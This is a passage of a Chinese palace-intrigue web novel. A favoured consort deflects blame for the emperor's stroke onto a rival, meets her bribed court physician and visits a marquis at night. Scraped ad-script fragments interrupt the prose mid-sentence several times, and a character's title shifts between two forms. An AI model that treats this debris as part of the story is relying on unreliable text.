“太后所言极是,贤妃姐姐历来以端庄贤淑著称,她的贤仪宫所出之物又怎么会与陛下中风有关呢?诚然,这人参海龙汤虽然是出自贤妃姐姐之手,但陛下中风也不一定就和这人参海龙汤有关,虽然前几日贤妃姐姐确实是从太医院里领了一支三十年的人参,可那支三十年的人参,本是贤妃姐姐因气血不足,特地从太医院求来补气血的。贤妃姐姐素来谨慎小心,怎会轻易将如此珍贵的药材用于他处?” 韦太后:“......” 秋宴越执掌凤印,宫中的每一丝风吹草动都了如指掌,寻常妃嫔的日用她不甚在意,可同为四妃又比她入宫早上许多的贤妃可是她的重点关注对象,别说是三十年的人参了,就算贤仪宫只是多要了一根青菜她都得反复揣摩。 这三十年人参虽然珍贵,但是在这大赵皇宫中,三十年人参就和她每日早晨要喝的燕窝粥差不多,也不是多稀罕的东西,要知道这人参每年下边都进贡不少,在皇宫里真正珍贵的那都是上了百年的老山参,这三十年的可不就是用来食补的嘛。 泪水,在秋宴越的眼眶中徘徊,如同晨曦中晶莹的露珠,随时准备滑落,那委屈的模样让在场的所有人都为之动容,连韦太后罕见的说不出反驳的话语。 "此事,奴才依稀记得几分。前不久,贵妃娘娘凤体违和,陛下特命奴才去请御医诊治。恰逢其时,贤妃娘娘亦遣人至太医院,领取了一支珍贵的三十年份人参,太医院理应存有详尽的领用记录。"王贵硬着头皮插话道。 天子中风,此等大事非同小可,这事还是他眼皮子底下发生,事后的追责他定然难以承受。但此刻,有了贤妃这一现成的替罪羊,不论是否会触怒贤妃乃至太后,当务之急乃是先将这烫手山芋抛出,确保自身能够抽身事外,方为上策。 王贵的话语瞬间让现场的氛围变得尴尬至极。 “王太医,陛下何时能苏醒?”韦太后巧妙地转移了话题,将众人的注意力引向了皇帝的健康状况。 在场的谁不是人精,见太后一而再再而三的要保贤妃,这会也没人在去撞枪口上,王太医被点了名连忙躬身答道:“关于陛下的病情,臣等已倾尽全力,陛下何时能醒来臣等也无法保证。” 韦太后闻言蹙眉:“王太医,你乃太医院医术最为高超之人,皇帝的病情就全靠你了,哀家会命人全力配合你的治疗,库房中的药材你随意取用,务必确保皇帝这次能够安然无恙。” 韦太后年岁毕竟大了,大半夜的这一番折腾,身子有些吃不住,进屋看望了昏迷的皇帝后,留下人手照顾,随后返回了自己的慈宁宫安歇。 深夜 怜月宫的小厨房 因皇帝在怜月宫中意外中风,这里迅速被改造成了一间临时药房。药房内,值夜的太医翻阅着医书,眉头紧锁,不时低头沉思。小药童双手支着下巴,正打着瞌睡。 喵。 一道微弱的猫叫声轻轻响起。 值夜太医身子一震,放下手中医书,目光掠过正在打盹的小药童,随后他轻手轻脚地走出房间。 一出门,便有一宫人引着他来到了一处假山背面。 假山背面,有一人身着深色斗篷,整个人隐匿于暗处,仿佛与夜色融在一起,若不仔细观察,难察觉其存在。 "微臣见过娘娘。" 5. 第五章 这位太医正是之前第一个提出皇帝并未真正醉酒的那位太医,刘太医。 刘太医,本名刘旭,是秋宴越在太医院中重金招揽的太医。 他医术精湛,在太医院能稳坐前三甲之列,初入秋宴越视线时仅为六品御医,而他当时在六品御医的位置上已经呆了整整十年了,期间未见丝毫晋升之迹。 太医院内部,层级分明,设有院使、同知、院判、御医及医士等职。 其中院使设一人,为正三品高官,现在太医院院使由王太医担任。 同知两人,位居正四品;院判多达六人,皆为正五品。 御医则是按照医术高低,自六品至八品不等;至于医士,则仅为九品小吏,在太医院里几近边缘。 刘太医身为六品御医可以说是太医院医术精湛的那批人了,就算太医院的院判、同知,其医术亦难与刘旭比肩。遗憾的是,刘旭虽医术精湛,却似明珠暗投,迟迟未能获得应有的晋升之机。 秋宴越深受皇帝宠爱,为固宠位,常以微恙为由,如头痛、心口不适等将皇帝引到自己宫中。皇帝还真以为自己的爱妃体弱多病,有病弱西施之姿,故频繁召请医术精湛的太医为秋宴越诊治。 而这位刘太医,正好就是太医院里御医这一品阶医术最高超的太医。 这刘太医也是人精,洞悉秋宴越的意图,对于秋宴越的争宠手段,非但不揭露,反而尽心尽力地为其诊治开方。 秋宴越也投桃报李,每次“病愈”后,总会慷慨地为刘旭送去大量赏赐。 这次数多了,刘旭还真就被秋宴越给收买了。 刘太医一直想要晋升为五品院判,成了院判,才能真正踏入太医院的核心圈子,然而,院判之位仅有六人,他苦熬十年却始终未能如愿以偿。 秋宴越知道后,便助了刘太医一臂之力。 成为院判那日,刘旭正式上门答谢,那日后,刘旭便坚定地站在了秋宴越这一边,成为了她不可或缺的助力。 随着秋宴越晋升为贵妃,她更是不遗余力地为刘旭铺路,花费巨资进行运作,现在的刘旭已经是太医院的正四品同知了。 再近一步,便能取代王太医成为院使。 秋宴越看重刘太医不仅仅是因为他医术高明,更重要的是,刘太医这人心思细腻,秋宴越喜欢和聪明人打交道,无需多言,他自然会心领神会的做出最正确的事。 就像是今夜。 事发突然,秋宴越根本没有时间和刘太医通气,他仍能在关键时刻,精准把握,将秋宴越不着痕迹的从皇帝中风一事中摘出去。 "刘太医,你如实告诉本宫,陛下到底还能不能醒来?" "陛下所患中风之症凶险异常,我等已竭尽全力,但陛下的病情却未见好转,恐怕……难以轻易苏醒。"刘太医微微叹了口气,压低声音答道。 "即便侥幸醒来,此番病症亦已重创龙体,身体将大不如前,怕是……时日无多。" 秋宴越听闻刘太医之言,身形不由地微微一震,但她很快便抓住了刘太医话语中的重点他的眼眸中闪过一丝难以掩饰的急切与希望:“刘太医,您方才所言,陛下难以轻易苏醒,也就是说陛下还是有苏醒的可能?” 秋宴越的声音中带着几分颤抖,她紧紧盯着刘太医,希望从对方口中得到肯定的答复。 “娘娘,实不相瞒,臣等虽身为御医,但医术终究有限,面对陛下如今的病状,实在是力不从心。然而,高手在民间,若真能请到那位传说中的神医沈知微,或许能为陛下带来一线生机。” “沈知微?”秋宴越喃喃重复着这个名字。 这是一个全然陌生的名字,秋宴越从未听过有这么一个太医。 “沈神医,是位民间大夫,其医术之高超,实乃当世罕见。据说,沈神医已经到了起死人而肉白骨的境界。最近一次,便是在边关为当时重伤垂死的长平候诊治,成功将其从生死边缘拉了回来,此事在京城内外传为佳话。”刘太医说到这里,眼中也不禁闪过一丝敬佩之色。 “长平候?你说得长平候可是昔年大赵首富商家的幼子商佑庭?” “正是,听闻沈神医非但医术超群,更有一颗悲天悯人之心,对于忠臣良将怀有无比的敬意。长平候,镇守边疆,屡建奇功,其忠勇之名,传遍大赵。一年前,长平候在战场上受到暗算,不幸身负重伤,昏迷不醒,生命垂危。沈神医听闻后,亲自北上前往战场为长平候诊治,后更是不顾自身安危,亲自入雪山为乐平候取来了千年雪莲,这才救回了乐平候。” “长平候苏醒后,曾慷慨赠沈神医千金,却被其婉言谢绝,沈神医直言,长平候乃是国之柱石,品德为人令人钦佩,若日后长平候有所需,只需一声令下,就算是上刀山下火海他都将义无反顾,鼎力相助。” “虽然沈神医行踪不定,但是若是乐平候的话,说不定能知道沈神医的下落。” 刘旭说得分明是沈知微,但秋宴越脑中却只有一个名字在反复的出现。 商佑庭。 认识商佑庭的时候,是秋宴越这一生中最为狼狈的时刻。 秋宴越的父亲秋多财原本只是一介商人,二十年前,大赵朝遭遇挫败,国都南迁,时局动荡,秋多财瞅准时机,以巨资换得一个官身,从此摆脱商贾之籍,勉强跻身士族之列。 秋多财尚能勉强冠以“官宦”之名,那秋宴越的生母身份便不光彩了。 秋宴越的母亲艳娘,是江南一带有名的花魁,以舞名动一方,无数风流才子不惜掷千金只求能得其独舞一曲之殊荣。 艳娘虽说是卖艺不卖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身的花魁,可这名头听着好听,但实际上也不过是供文人墨客消遣的玩意儿,稍微讲究点的人家都看不上她。好在秋多财不讲究这些,她费劲心思进了秋家的门。 然而,秋多财早就有了正妻,那位正妻善妒,艳娘进了秋家后备受磋磨。就连秋宴越这个女儿也在秋府备受冷落。 艳娘是一位绝美的温柔女子。 秋宴越幼时曾看到自己的母亲穿着一件流光溢彩的舞服,在洁白的雪地中翩翩起舞,那一日,天空飘着细碎的雪花,点点碎雪落在她的乌黑如墨的发丝上,衬得她美得如同从画中走出的仙子。然而,一曲未终,嫡母一脸怒容的带着着一群仆从,如乌云压顶般闯入了她和母亲居住的院子。 嫡母以狐媚为由使唤了下人压着母亲狠狠的打她,下人手中的碗口粗棍子无情地挥下,重重的砸在母亲那能跳出世间最美舞姿的双腿上。 棍棒如雨点般落下,每一击都伴随着母亲撕心裂肺的哭喊与鲜血的飞溅,原本银装素裹的庭院,瞬间被一抹抹触目惊心的红所侵染。 秋宴越记得那一日,雪越下越大,小小的自己跪在雪地中不停的朝着嫡母磕头,祈求嫡母放过自己的母亲,不知道过了多久,嫡母终于满足,她似大发慈悲一般让下人停下,以“反省”为名,封了母亲居住的院子,断绝了一切外界的帮助与联系。 嫡母带着人离开后,自己跌跌撞撞的来到母亲身边,雪地上,艳娘一身血污的躺在地上,气若浮丝,她的腿呈不自然的弯曲,已然被打断了腿,那身美丽的舞衣,早已在艳娘的挣扎中被撕碎,浸透了刺目的血污。 秋宴越已经不记得自己是怎么把母亲拖回屋内的,嫡母封了院子,府医不得入内,药食皆无。母亲艳娘只能孤苦无依地躺在冰冷的床上,任由疼痛肆虐,她的生命就如同风雨中的烛火,微弱而绝望。 前两日,母亲还能勉强支撑,但到了第三日,她的身体似乎已经到了崩溃边缘,开始大口大口地吐起血来。 秋宴越心急如焚,她不顾一切地冲了出去,跪在嫡母的面前,苦苦哀求她为艳娘诊治。 秋宴越清楚的记得,那一日,嫡母高坐在主厅上,毫不在意的掀了下眼皮子,手中端着茶水不紧不慢的喝着,等到秋宴越面前的地砖被她额间的鲜血染红,这才不冷不淡的招来嬷嬷和府医前去查看。 府医看过后,连连摇头,最后长叹一口气,只说了句准备后事。 岁末将至,本是阖家团圆、喜庆祥和的温馨时刻,对秋宴越与艳娘而言,却只有绝望。或许是出于不愿府中沾染不祥之气,嫡母最终决定将自己与母亲丢出府去,自生自灭。 寒冬腊月,冰天雪地。 母亲又奄奄一息。 年幼的秋宴越不得不给自己挂了牌子。 【卖身救母】 6. 第六章 “太后娘娘这下手也太狠了。”怜月宫内,烛火摇曳,丹红拿着上好的伤药小心翼翼地为秋宴越的脸庞上药,语气中满是对主子的心疼与不平。 和刘太医见了面后,秋宴越便回到了寝宫,怔怔的坐着,任由丹红处理她脸上的伤口。 经过丹红一番精心照料,秋宴越脸上的红肿已大为消退,不再如先前那般触目惊心,可她肌肤细嫩,此时细白的肌肤上,指痕虽淡,却如秋日清晨未融的霜花,依然清晰可见。 “娘娘,可还疼吗?” “疼?” 秋宴越似乎才回过神来,她缓缓抬手,指尖轻轻掠过面颊,细微的疼痛让她忍不住轻嘶了一声。 “娘娘,是奴婢手重了,奴婢该死。”丹红连忙自责,手下的动作愈发谨慎细腻。 “丹红,你无需自责。这伤,并非你所为,更何况这一巴掌,是本宫应承之罚,亦是宫中规矩所在。所幸只是皮肉之苦,终会过去。”脸上的疼痛让秋宴越迅速从回忆中脱离出来。 秋宴越已经很久没有挨过打了。 今夜太后这毫不留情面的一巴掌,让她再一次认清了自己的地位。 她空有贵妃头衔,但一旦没了皇帝的庇护,她这个贵妃什么都不是。 “司宫台那边,今夜可有留下马脚?” “娘娘放心。” 丹红聪慧异常,心思细腻如发又有过目不忘的惊人记忆力。 今夜也是她在司宫台用她那强大的记忆力将皇帝的起居注一一铭记于心,随后迅速回到怜月宫详尽地向秋宴越转述,所有转述内容没有丝毫遗漏。 多亏了丹红在极短时间内记下了皇帝这几日完整的起居注,秋宴越才得以争取到宝贵时间,精心筹备一切。 “丹红多亏有你。”秋宴越轻叹一声,眼中流露出深深的感激。她深知,在这波谲云诡的宫廷之中,能够拥有一位如此忠诚且能干的侍女,实属难得。 “娘娘言重了,当初若不是娘娘救下了奴婢,奴婢今日哪里还有命站在这里,为娘娘分忧是奴婢的分内事。” 今夜一连串的变故让秋宴越措手不及。 从皇帝中风起后面秋宴越每一步都是在刀尖上起舞,其中行差踏错一步就足以让她万劫不复。 丹红将皇帝今夜的起居注复述给秋宴越的时候,她第一时间便注意到了那道人参海龙汤。 秋宴越本意是想要修改起居注,意图将皇帝中风的缘由转嫁他因,但是当她听到丹红说皇帝在贤妃宫里用了一盅人参海龙汤后,她便改变了主意。 皇帝的起居注关系重大,想要修改不易,而且任何举动皆会留下蛛丝马迹,尽管秋宴越手握凤印,但宫中尚有太后坐镇,她并不能一手遮天。若真有人深究此事,即便皇帝中风与她无直接关联,她也难逃干系。 后宫女子间的争宠本是常态,但若为争宠而对皇帝施用药物,那性质就不同了。 往严重了说,那是蓄意谋害龙体。 这样的行为,足以废黜妃嫔。 诚然,人参海龙汤非世俗意义上的药物,准确来说,这只能算是一道药膳,但是谁让皇帝今夜突染风疾了呢,还是在食用了人参海龙汤不久后便中风的,此事便显得尤为敏感。 于是,在太医匆匆赶至怜月宫之际,秋宴越精心计算时间,不动声色地将皇帝中风之事通报至太后所居的坤宁宫。 太后对自己的印象一向不好,果不其然,她一闻此事,便误以为是自己的过失导致了皇帝的中风,甚至在大庭广众下毫不留情面的责罚了自己。 等到后面她拿出皇帝今夜的起居注,真相大白后,自己这个贵妃显得格外的无辜可怜。 其实秋宴越若是想要在第一时间拿到皇帝今夜的起居注也不是办不到,但是那样太过刻意,反而会让人怀疑。这起居注经太后的手呈现出来那意义就完全不同了。 事发突然又情势紧迫,加上太后又顺风顺水太多年,先入为主的她甚至都没有细看起居注便匆匆定论。 在大庭广众之下,太医们一致认为皇帝的中风乃是由贤妃精心烹制的人参海龙汤所致。 起居注白纸黑字的摆在眼前就算贤妃是四妃之一,出身显赫,且与太后血脉相连,那又如何?但事关皇帝龙体安危,这些太医只能选择如实相告,以免皇帝苏醒后追究责任,进行严厉清算。 “太后娘娘真是偏心到没边了,一来怜月宫是非缘由都没问清楚便打了娘娘,可后面分明查情了是贤妃娘娘的过错,她却又置若罔闻。”想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到晚上发生的事,丹红忿忿不平道。 “贤妃姐姐一向端庄贤淑,又有贤名,此次之事,尚不宜匆忙下结论,还是得待陛下苏醒过来,亲自查明原委,届时贤妃姐姐若有应受之责,也该由陛下决断。”秋宴越同样面色凝重,她原本意图将一切责任推至贤妃身上,却未曾料到,就算太医院所有的太医都认定是贤妃的过错,但太后还是将这事压了下去。 如今,看太后的态度,就算是皇帝醒过来,贤妃被重罚的可能性亦显得微乎其微。 “可是,太医们不是说陛下可能......”丹红担忧道。 “慎言!” 桌案之上,晶莹剔透的琉璃镜静静映照,镜中佳人面容清冷如霜。 权力,才是这后宫中最重要的东西。 “丹红,去取一件素净一些的装束来,还有,本宫记要是没记错,宋侍卫轮班的时间是寅时吧。”秋宴越取了桌案上的胭脂水粉,对着琉璃镜细细的为自己遮掩。 秋宴越刚入宫的时候身边可没有伺候的宫人,平日里的妆容都需要自己动手打扮,她的化妆技巧可一点都不比专业的宫人差,只见她先用细腻的珍珠粉轻轻拍打脸颊,接着又轻轻捻起一抹胭脂,缓缓地在脸颊上晕开,脸上的指痕便被一一遮掩,镜中的佳人依旧是一副妩媚动人的模样。 “宋侍卫确实是今日寅时轮班,只是已经这般晚了,娘娘您这是要出宫?”丹红找了半天,好不容易这才翻找出一件不那么起眼的装束来,看着已经将自己收拾妥当的秋宴越,丹红举着手中的衣服,声音中带着迟疑与不解。 “本宫两个时辰内必会回来,在这期间,宫里还需丹红你多多遮掩一番。”秋宴越站起身,任由丹红为她披上衣裳。 丹红闻言,连忙点头应允,心中虽有万般疑虑,却也知晓什么该问什么不该问。 衣裳说是不起眼,却也只是颜色素净淡雅,没有过多的繁复纹饰,但细细一看可那料子也是顶好的,加上剪裁得体,将秋宴越曼妙的身姿勾勒得恰到好处。 秋宴越轻轻抚平衣襟,又将鬓角的几缕碎发拢理顺,随后披上一件深色的斗篷,将所有的容色尽数掩藏。 在夜色的遮掩下,一辆毫不起眼的马车,悄悄从怜月宫的偏门驶出。 7. 第七章 为秋宴驾车的是一位独臂大汉。 这位大汉虽然失去了一条手臂,但是他驾车又稳又快。 秋宴越端坐于车内,夜风轻轻撩动车帘,周遭景致如同画卷般快速后退,但是秋宴越却还是觉得不够快:“石牛大哥,还能再快点吗?” "娘娘,坐稳了。"石牛终于发声,他的嗓音仿佛被烈焰灼烧过,初闻之下,是难以言喻的嘶哑。 若是第一次听他开口,说不定就会被吓住,但秋宴越明显是和石牛很是熟悉,听他的声音也是神色依旧平和,未见丝毫异样。 “娘娘是要到长平侯府的正面还是偏门?” “直接正门吧。” 长平侯能封侯靠的是他的赫赫战功。 即便是在深宫之中,秋宴越也时常能从宫女太监的口中听到长平候的辉煌战绩。 大赵南迁后,建平帝虽然励精图治,力求恢复往昔的荣光,但奈何时局艰难,内忧外患之下大赵国势久久不见有起色。 就算是大赵南迁,北方的强敌大燕却并未放弃对大赵的觊觎,相反,他们更加变本加厉,不断派遣大军南下,大赵的领土不断遭受大燕的侵蚀,日渐缩小。 大燕,就如同一只饥饿的猛虎,正虎视眈眈地盯着大赵,企图将其一口吞下。 在长平侯崛起之前,大赵已痛失山东大片领土,边关警报频传,大赵越发艰难。 当时若大燕再进一步,将直逼南赵腹地,届时建平帝恐怕不得不继续南迁以避其锋。 秋宴越记得很清楚。 建平帝在其六十大寿的寿宴上的愤然离去,正是源于此事。 当时的大燕铁骑已踏破沂鞍等城池,前线十万火急,一封接一封的军情急报如潮水般涌向南都,却无一佳音。 偏偏正逢建平帝的六十大寿, 建平帝本不想过寿,可后宫中已准备许久,建平帝终难拂众意,勉强赴宴。 但是当时的贤妃却还在寿宴上劝谏皇帝要励精图治,为前线战士树立楷模。 建平帝已经是花甲之年的老人,自大赵被迫南迁以来,心中始终怀揣着收复大赵失地的壮志。然而,面对内忧外患的重重困境,他深感力不从心。 尤其是前线告急,他却毫无解决的办法,本盼着能在寿宴上得到片刻的放松与欢愉,却不料贤妃之言如同利刃,直指其作为帝王的短处与无能,最终导致了他的愤然离席。 也正是那一日,秋宴越的命运发生了翻天覆地的变化。 三年前的秋宴越还不是宠冠六宫的秋贵妃,她只是秋家一个不起眼的庶女,但不曾想,命运的阴差阳错,她竟代替了她那一直高高在上的嫡姐,进了宫。 她不是她那从小娇养长大的嫡姐,秋家自然也不会在她身上投资,没有秋家的打点,她一入宫便因容貌太盛而遭人嫉妒,连皇帝的面都没见到,就被设计排挤至位于皇宫偏僻之处的水华阁。 水华阁年久失修,里头多是一些失宠或位分低微的女子居住。秋宴越心有不甘,她想要出人头地,然而,她出身低微,宫中无依无靠,面对困境,无计可施。 为了承宠,她精心编舞,准备在建平帝的寿宴上一跳惊人,然而寿宴前夕,舞服被毁,自己也被禁足于水华阁。 皇帝寿宴那日,整个皇宫热闹无比,寿宴开始后缥缈的丝竹之音传入水华阁,听得秋宴越心中烦乱。 心情郁郁之下,她穿着简单的素衣,赤着玉足,在院中独自起舞。 不料,建平帝在寿宴上径直离席后,无意间来到了秋宴越居住的水华阁。 美人素衣,在月色中翩翩起舞,佳人美如夜莲,纯洁忧愁,建平帝一眼沉沦。 更巧合的是,秋宴越承宠的第二日,前线便传来了振奋人心的捷报。 那是大赵在连续二十场战败后的第一场胜利。 大赵,这个曾经辉煌一时的帝国,在连续二十场战败的阴霾下,将士们士气低落,百姓们人心惶惶,整个国家都笼罩在一片绝望之中。 但就在这个时候,一支仅有百人的小队,在一位名叫商佑庭的年轻将领的带领下,以少胜多,击溃了大燕的一支千人精锐队伍。 这场胜利虽小,却如同黑暗中的一缕曙光,给大赵带来了无限的希望与力量。 建平帝深知,彼时的大赵太需要一场胜利来重振民心了。于是,他破例让商佑庭连升三级,从百夫长直接晋升为能率万军的虎威将军,这一举动无疑在军中引起了轰动,也极大地提升了士气。 而自己这个位份低微的采女,也因这场战事的胜利而让建平帝认为她是神女降世,是她的出现为大赵带来了福兆。因此她也是连升三阶,从八品采女成了五品才人。 之后的两年,商佑庭更是势如破竹,以超凡的智谋和勇武率领大军在战场上所向披靡,让大燕闻风丧胆。秋宴越也成了建平帝心尖上的人,她以惊人的速度获得了皇帝的宠爱,恩宠有加,几乎到了有求必应的地步。 建平帝平日里对爵位的赏赐极为吝啬,但在商佑庭面前,他却毫不吝啬地展现出了自己的慷慨。 商佑庭率领大军攻克了沂鞍城,这一壮举不仅让大赵的疆域得到了极大的拓展,更让大燕感受到了前所未有的压力。 沂鞍历来是兵家必争之地,其地势险峻,易守难攻,是一道天然的屏障,而越过沂鞍,北面便是广袤无垠的平原地带,因此,对于大赵而言,夺回沂鞍,便意味着能够在这片土地上重新部署兵力,进而蓄势待发,北上对大燕发起反攻。 为了平息战争,大燕不得不和大赵签下了停战协议,双方明确规定在三年内互不侵犯。 历经多年征伐,不仅大赵国力日渐式微,就连强大的大燕亦难以承受重负,故而停战三年之议,实为两国共同的期盼,双方都皆大欢喜。 三年停战协议签署,建平帝龙颜大悦,他亲自下旨封秋宴越为贵妃。 商佑庭也因这功劳,被封了长平候。 世袭罔替的侯爵。 夜风习习,带着丝丝凉意。 吹拂在秋宴越的身上,让她不禁感到一阵寒意。 她不由自主地紧了紧身上的披风。 她对商佑庭的记忆还停留在三年前。 那时候的商佑庭是什么样子的呢? 作为大赵首富商家的独子,商佑庭年少轻狂,个性鲜明,是南都少有的热烈少年郎。 在群芳阁中,他更是一掷千金,只为能够独享她精心准备的舞蹈。 “娘娘,到了。” 骤然停下的马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 车打断了秋宴越的思绪。 秋宴越轻轻掀开马车的帘子,映入眼帘的是一座巍峨的高门大院,门前两列披甲执戟的护卫昂然站立,宛如一尊尊不动的雕塑,守卫着这座府邸。 长平候是凭借赫赫军功受封的武侯,深受皇帝器重,因此特赐殊荣,允许其府邸保留私兵护卫。 秋宴越知道,这些护卫皆是商佑庭从战场上浴血奋战带回来的精锐之师,他们身经百战,若是在军中,至少也能享百夫长之职。 “来者何人?”秋宴越方才靠近长平侯府的大门,门口的护卫便将手中的长戟放下,横亘在她与大门之间,不允许她在靠近一步。 石牛见状,立刻挺身而出,如同一座可以移动的小山,将秋宴越牢牢地护在了自己的身后。 “诸位好汉,这是你们侯爷的信物,上面有他亲笔题字,还请诸位行个方便,将此信物交给你们侯爷,就说是故人来访。” 说着,秋宴越将手中的玉佩递给了领头的亲卫。 那亲卫接过玉佩,仔细端详了一番,眼中闪过一丝惊讶与疑惑。 秋宴越给出的玉佩,通体散发着温润的光泽,玉佩的正中心,刻着一个潇洒飘逸的字——“商”。这个字迹,在场的都是商佑庭的亲卫,自然是见过商佑庭字迹的。 “这……这确实是侯爷的字迹!” 亲卫眼中闪烁的狐疑,好奇地打量着两位不期而至的访客。 站在前面的大汉,身躯伟岸如山,尽管缺失了一只手臂,但他身上那股不容忽视的铁血气质,却与周围这些同样经历过生死考验的战士们产生了共鸣。 而他身后那位女子,她身披一袭厚重的斗篷,大半面容都被遮掩得严严实实,只露出一张精巧的下巴和如花瓣一般娇美的嘴唇。尽管不能窥探到此女的全貌,但仅凭这些细微之处,便足以让人想象出她绝美的容颜。 这样的两人,一看就不是寻常出身。 深夜造访侯府,也不知是福是祸。 “侯爷近日来闭门谢客,甚少与外界往来。但既然你有此信物为证……”领头的亲卫沉吟片刻后,终于做出了决定。“你等且在此稍候片刻,我去向侯爷通报一声。” 当下,亲卫不再耽搁,手持玉佩迅速步入侯府,向侯爷禀报。 不久之后,亲卫便重新出现在众人面前。 “我家侯爷让你进去。” 听到此话,秋宴越紧绷的神经稍稍放松了些许,她轻吐一口气,仿佛卸下了千斤重担,脸上露出了淡淡的微笑。 站在秋宴越身前的石牛也移开了步子,准备和秋宴越一起踏入这侯府的大门。 但秋宴越刚进门,石牛就被拦在了外面。 “侯爷说了,只允许那位娘子一人进入,这位,壮士还是在外面等候把。” “娘.......娘子?”石牛脸色瞬间变得阴沉,眉头紧锁,他转头看向秋宴越征求她的意见。 “石大哥,你便在马车上等候片刻吧,这里可是长平候府,可以说是整个南都最安全的地方了,我难不成还会在侯府出事吗?你且放心,待我办完事情便来寻你。” 随着秋宴越的脚步声渐行渐远,长平候府的大门缓缓关闭。 门外,石牛静静地守候在马车旁。 8. 第八章 长平侯府和怜月宫完全不一样,说起来,这长平府规制宏大,早已超越了传统侯府的界限,占地面积之广,即便是称之为公府,也毫不为过。 对于长平侯府,秋宴越也有所耳闻。 商佑庭的封侯之路和她晋升贵妃之位一样并非一帆风顺,背后隐藏着朝堂中各方势力的纷争与较量。 秋宴越升贵妃在前,当时三年停战协议刚刚签署,建平帝借着此事欲将自己封为贵妃,当时朝堂引发了不小的风波,引来了诸多非议。 那些固步自封的朝臣们,不仅对她低微的出身嗤之以鼻,更有甚者,竟口出狂言,将建平帝贬损为昏聩之君,言辞激烈,触怒了龙颜。建平帝震怒之下,当即严惩不贷,一老臣因言获罪,被当场杖责至死,以儆效尤。 此举之后,建平帝之名,除了被冠以“年老而昏聩”之外,又添上了“严苛暴戾,嗜杀成性”的标签。 大赵门第观念根深蒂固,商佑庭出身低微,且年纪尚轻,这样的背景让他在封侯的道路上遭遇了诸多质疑与反对。有人认为,给予他一个官职已足够,封侯之举实属过于草率与随意。 但前不久,才有一老臣因反对秋宴越封贵妃一事被杖毙,这一前车之鉴,使得商佑庭在封侯之路上遭遇的阻力大为减少。 据说,建平帝原本有意将商佑庭封为异性王,以表彰其卓越的功勋与才能。然而,这一提议却遭到了朝廷上下的强烈反对,反对之声此起彼伏,最终迫使建平帝不得不放弃了这个打算。 但是建平帝还是许诺了,若商佑庭有北上中原,夺回北都之日,那便是商佑庭封王封公之日。 虽然没能给商佑庭封王封公,但是长平候府这座府邸可是建平帝精心挑选的。 这里本来是一位皇子的府邸,但那皇子受到了建平帝的厌弃,直接被贬为庶民,流放岭南。 这里的府邸自然也是收归国库。 商佑庭班师回京后,这座府邸便赐给了商佑庭。 这座府邸,在商佑庭的精心修葺之下彻底摒弃了往昔江南庭院温婉细腻的韵味,看起来简约而不失庄重,大气中透露出一种难以言喻的威严。 里面没有什么亭台楼阁小桥流水,取而代之的,是一座座错落有致的演武场,让人不由自主地感受到一股浓烈的尚武之风。 这里看起来不像是一位侯爷的府邸,倒像是军中的大营一般。 接连穿过了好几座演武场,最后,那位亲卫终于停下了。 “这位娘子,我们侯爷已在里面恭候多时。” 亲卫将门推开,做了一个请进的手势。 “多谢。”秋宴越从袖中取出一枚精致的荷包递了过去。 然而,亲卫却面露难色,连忙摆手拒绝:"这位娘子,这可使不得,侯爷治军严谨,若知我收受他人财物,定当严惩不贷,军棍之刑绝非儿戏。" 秋宴越见状也不勉强,收回荷包赞了一句:“早就听闻长平候治军有方,纪律严明,今日一见,果然名不虚传。” "那是自然,我们侯爷乃是大赵军神,能在他麾下效力,实乃我等之幸,外界之人无不心生艳羡呢。"亲卫满脸自豪地补充道。 随着大门关上,秋宴越也终于看清了眼前的场景。 这里俨然又是一个演武场。 但是和一路走来的那些演武场,这个地方的演武场要更大一些,一个偌大的院子里,地面铺着大块的青石。 秋宴越认得这石头,这种石头十分坚硬,寻常兵器劈砍都不能在它上面留下痕迹,这种石头不多见,也十分珍贵,但是在这里却是被奢侈的用来铺地。 院子左右两侧都摆着各式各样的武器,刀斧枪戟应有尽有。 秋宴越有些无措的站在院子中央,一时不知道该往那边走。 整个演武场显得格外空旷而寂静,只有远处偶尔传来的虫鸣声和近处灯笼内蜡烛燃烧时发出的噼啪声。 不远处的屋里也只点了一盏灯。 微弱的灯火从屋内透出来。 秋宴越紧了紧手,迈开步子,带着一丝不易察觉的犹豫,一步步朝屋子处挪过去。 短短几步路,秋宴越却走了许久,直到来到门口,她停下了脚步,心跳不禁加速,抬起手,手指轻轻摩挲着门板,仿佛能感受到里面传来的温度。 秋宴越抬头望向那扇紧闭的门扉,心中涌动着复杂的情感,来得路上她在心里打了无数次草稿,她也设想了无数种重逢的场景,然而,当她真的站在这扇门的外面时,她却犹豫了。 抬起手,屈起手指,秋宴越的手却停留在半空中,迟迟敲不下去。 等待的时间仿佛变得异常漫长,每一秒都像是被无限拉长。 “吱噶” 门扉突然从里面被拉开。 秋宴越站在门前,手仍悬于半空,就这样猝不及防地与门内那位男子目光交汇。 男子五官俊美非凡,他的俊美不是时下南都推崇的柔美,而是带着战场锤炼的阳刚之气。 男子墨黑的发梢还挂着几颗晶莹未干的水珠,它们缓缓滑落,最终隐没于上好的绸缎衣衫之中,留下一道道被水珠润湿的痕迹,引人无限遐想。他的气息,随着他的每一次呼吸,悄然弥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 漫在空气中,带着一丝刚沐浴过的清新与淡淡的水汽,让秋宴越不由自主地感到一阵晕眩。 门内的男子身形高大,秋宴越已经是女子中身形高挑的了,但是眼前的男子足足比她高了一个头,秋宴越和他离得太近,只能被迫昂起头。 随着她抬头的动作,原本覆盖在她头顶的斗篷宛如流水般自然地滑落至她肩头。 青丝如同瀑布般倾泻而下,失去了斗篷的遮掩,一张倾国倾城到足以令万物失色的绝美面容展现在商佑庭眼前。 那一刻,时间仿佛凝固,商佑庭所有的目光都被这绝美容颜深深吸引,无法移开。 今夜月色皎洁,柔和的月光倾洒而下,空气中似乎都弥漫着一种难以言喻的韵味,与秋宴越发丝间散发出的淡淡清香交织在一起,形成了一种令人难以抗拒的魅力。 商佑庭竟不由自主地陷入了片刻的恍惚之中。 